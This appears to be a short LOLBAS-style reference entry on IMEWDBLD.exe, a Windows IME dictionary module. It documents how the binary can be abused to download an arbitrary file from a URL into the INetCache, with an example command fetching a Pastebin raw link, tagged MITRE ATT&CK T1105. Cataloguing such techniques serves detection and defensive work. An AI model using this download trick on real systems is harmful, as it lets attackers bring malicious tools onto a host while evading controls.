.. / IMEWDBLD.exe
Star

Microsoft IME Open Extended Dictionary Module


Paths:

Resources:
Acknowledgements:

Download

IMEWDBLD.exe attempts to load a dictionary file, if provided a URL as an argument, it will download the file served at by that URL and save it to %LocalAppData%\Microsoft\Windows\INetCache\<8_RANDOM_ALNUM_CHARS>/<FILENAME>[1].<EXTENSION> or %LocalAppData%\Microsoft\Windows\INetCache\IE\<8_RANDOM_ALNUM_CHARS>/<FILENAME>[1].<EXTENSION>
C:\Windows\System32\IME\SHARED\IMEWDBLD.exe https://pastebin.com/raw/tdyShwLw
Usecase: Download file from Internet
Privileges required: User
OS: Windows 10
MITRE ATT&CK®: T1105